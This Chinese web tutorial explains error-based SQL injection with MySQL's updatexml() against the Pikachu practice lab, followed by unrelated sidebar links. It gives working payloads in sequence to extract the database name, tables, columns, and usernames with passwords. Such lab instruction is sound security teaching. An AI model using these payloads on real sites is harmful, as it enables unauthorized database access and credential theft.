当前位置:网站首页>SQL报错盲注实例分析
SQL报错盲注实例分析
2022-07-22 21:52:00 【亿速云】
SQL报错盲注实例分析
本篇内容主要讲解“SQL报错盲注实例分析”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“SQL报错盲注实例分析”吧!
一、SQL报错函数详解
updatexml();floor();extractvalue();等函数都可以用于构造SQL报错函数,今天我们主要来讲解使用updatexml()函数。
updatexml()函数使用格式如下:
updatexml(XML_document,XPath_string,new_value)
XML_document是String格式的XML文档名称,XPath_string是XPath格式的字符串,new_value是String格式的而字符串,用于替换查找到的符合条件的数据。
该函数有一个特性,即如果XPath_string不是XPath格式的字符串,就会报错并显示处XPath的值,因此,我们可以利用这一特性实现SQL报错盲注。此外,我们还可以利用updatexml()函数的特性,实现在SQL插入、删除等语句中的SQL注入。
二、SQL报错盲注payload构造
1、updatexml语句构造思路
updatexml()函数的构造,首先需要闭合SQL语句中的冒号、括号。其次还需要使用and或者or语句连接成一个单独的语句,这样即可成功执行updatexml()函数中的语句。
下面,我以皮卡丘靶场为例,来简单介绍一下updatexml报错注入payload的构造思路,皮卡丘靶场SQL insert/update型注入页面如下所示:

从上图中可以看出,该页面功能上是提供人员的注册,因此可以猜测其内部是insert类型的SQL语句,因此我们可以在手机、住址等列(一般不要选择密码,因为很多网站都会把密码进行md5处理,从而导致我们的updatexml失效)中插入我们的updatexml语句。通过简单的实验可以得知,该站点的注入闭合为单引号,因此payload的构造格式为:
12' or updatexml() or'
2、查询当前数据库
当我们确定updatexml()函数的格式后,我们就可以写实际的payload语句了,相关命令如下所示:
12'or updatexml(1,concat(0x7e,database(),0x7e),0) or'
从上payload可以看出,updatexml()函数有三部分组成,我们需要把我们要执行的SQL语句写到第二部分,第二部分是一个concat()函数,之所以要拼接0x7e是因为该16进制字符是一个波浪线,也可以换成其他的字符。
该payload执行结果如下所示:

从上图可以看出,我们当前的数据库名为pikachu。
3、查询表名
查询表名的payload如下所示:
12' or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),0) or '
在上述payload中,concat中间的SQL语句要用括号括起来,然后写入正常的查询命令即可,该payload执行结果如下所示:

从上图可以看出,我们查询到当前数据库存在一个名为httpinfo的表,如果我们更改limit的限制,那么我们可以得到更多的表。
4、查询列名
查询列名的payload如下所示:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),0) or '
该payload构造原理与以上类似,执行结果如下所示:

5、查询字段名
字段名查询的payload如下所示:
12' or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),0x7e),0) or '
该payload构造原理与以上类似,执行结果如下所示:

6、查询数据
数据查询的payload如下所示:
12' or updatexml(1,concat(0x7e,(select concat(username,'-',password) from users limit 0,1),0x7e),0) or '
该payload构造原理与以上类似,执行结果如下所示:

到此,相信大家对“SQL报错盲注实例分析”有了更深的了解,不妨来实际操作一番吧!这里是亿速云网站,更多相关内容可以进入相关频道进行查询,关注我们,继续学习!
边栏推荐
- scala 主构造器_Scala主构造器深度
- Storage structure and method of graph (I)
- 如何在 PHP 应用程序中预防SQL 注入
- 我为OpenHarmony 写代码,战“码”先锋第二期正式开启!
- MySQL消息队列表结构
- 开幕在即 | “万物互联,使能千行百业”2022开放原子全球开源峰会OpenAtom OpenHarmony分论坛
- 2022年中国软件产品全国巡回展即将启航
- 2022杭电多校联赛第二场 题解
- Building a sylixos environment in VMWare
- Mysql无法访问,navicat提示:is not allowed to connect to this MySQL server
猜你喜欢
随机推荐
matlab ode45求解微分方程
延伸联接边界,扩展业务范围,全面迈向智能云网2.0时代
Could NOT find Doxygen (missing: DOXYGEN_EXECUTABLE)
LAN SDN hard core technology insider 19 unite all forces that can be united
Expérience II Yuv
Worthington:来自酵母的己糖激酶的特性及其它参数说明
Experiment 2 YUV
The Chinese and English dot matrix character display principle of the 111th blog of the fledgling Xiao Li
flink批量读取es
6-13漏洞利用-smtp暴力破解
主控芯片CSU18M92开发智能体重秤方案
6-14漏洞利用-rpcbind漏洞利用
The boss asked me to do an IP territorial function and an open source library!
yolov5 test. Py broken pipe error: [errno 32] broken pipe problem solving
牛客小白月赛53
21 -- 除自身以外数组的乘积
[day 31] given an integer n, find the base and exponent of each prime factor | basic theorem of arithmetic
组蛋白研究丨Worthington小牛胸腺组蛋白的特征及文献参考
LAN SDN technology hard core insider 5 implementation of virtualized network
yolov5 test.py BrokenPipeError: [Errno 32] Broken pipe问题解决









